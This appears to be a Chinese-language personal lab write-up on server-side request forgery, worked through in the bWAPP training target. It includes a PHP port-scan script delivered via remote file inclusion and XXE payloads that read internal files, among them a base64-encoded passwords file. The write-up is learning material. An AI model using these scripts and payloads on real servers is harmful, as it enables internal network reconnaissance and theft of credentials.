SSRF
(Server-side Request Forgery,服務器請求僞造)漏洞,是一種攻擊者構造請求,是一種攻擊者發起的僞造由服務器發起請求的一種攻擊。
SSRF危害
* 端口掃描
* 利用file文件協議 讀取本地文件
* 內網web 應用指紋識別
* 攻擊內網web
端口掃描和讀取文件的危害會在等下練習的時候體現出來;
漏洞發現:
其中對外發起網絡請求的地方都可能存在SSRF漏洞,列舉圖片加載下載,分享頁面等等;
看到了存在url類型的參數的話,就可以嘗試是否存在SSRF漏洞;
做兩個實驗來加深理解SSRF:
服務器端請求僞造(SSRF)就是繞過諸如防火牆之類的訪問控制。
將此Web服務器用作以下代理:
1.使用RFI進行端口掃描。
2.使用XXE訪問內部網絡上的資源。
3.使用XXE崩潰我的Samsung SmartTV(CVE-2013-4890)
這個實驗給我們三個這樣的任務,這是在bee-box靶機環境做的實驗,我沒有第三個實驗環境,個人覺得兩個實驗做了理解SSRF就差不多了。
使用RFI進行端口掃描
點擊第一個給了我們一份端口掃描攻擊腳本;
來進行下代碼審計順便複習一下php的有關知識:
<?php>
echo "<script>alert(\"U 4r3 0wn3d by MME!!!\");</script>";//echo輸出函數
if(isset($_REQUEST["ip"]))//判斷是否提交了ip
{
//list of port numbers to scan
$ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306);//列出幾個需要掃描的端口
$results = array();
foreach($ports as $port)//遍歷數組
{
if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1))//fsockopen函數建立連接,端口掃描
{
$results[$port] = true;
fclose($pf);
}
else
{
$results[$port] = false;
}
}
foreach($results as $port=>$val)
{
$prot = getservbyport($port,"tcp");//返回給定端口號和協議名的相關服務信息
echo "Port $port ($prot): ";
if($val)
{
echo "<span style=\"color:green\">OK</span><br/>";
}
else
{
echo "<span style=\"color:red\">Inaccessible</span><br/>";
}
}
}
?>
然後利用遠程包含文件漏洞執行端口掃描腳本,這裏已經給出類似於遠程文件http://192.168.191.6/evil/ssrf-1.txt
我這裏被攻擊機是192.168.191.6,攻擊機就是我的windows;
訪問網站進入:
點擊go之後會發現url變成:http://192.168.191.6/bWAPP/rlfi.php?language=lang_en.php&action=go
明顯是文件包含漏洞,利用這個漏洞結合SSRF我們可以通過構造端口掃描腳本使服務器發起請求從而達到攻擊的目的;
這裏有兩種不同的方式,可以抓包通過get請求方式添加參數ipforward;
也可以利用火狐瀏覽器的插件hackbar,因爲hackbar現在要收費我這裏用的是Max hackbar;
如圖,構造get請求方式foward攻擊成功;
如圖利用火狐的插件也可以達到上述效果;
使用XXE訪問內部網絡上的資源
點擊第二關,會給我們ssrf-2.txt的文件,根據文件內容
#Accesses a file on the internal network (1)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>
#Accesses a file on the internal network (2)
#Web pages returns some characters that break the XML schema > use the PHP base64 encoder filter to return an XML schema friendly version of the page!
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>
看到代碼我們應該就能想到這裏應該是利用XML攻擊結合SSRF讀取被攻擊機的文件:
進入XXE漏洞界面點擊Any bugs進行抓包:
發送到repeater模塊
發現有xml文件將xml文件修改爲ssrf-2.txt第一個發送:
發現四項是不能訪問的;
但是我們可以通過這個漏洞獲取其中的內容,獲取/bWAPP/passwords/heroes.xml中的經過base64編碼的數據。
解碼:
進而得到內部網絡資源(其中利用到了php協議以及file協議);
唉也才瞭解那麼一點點知識好想大佬帶我。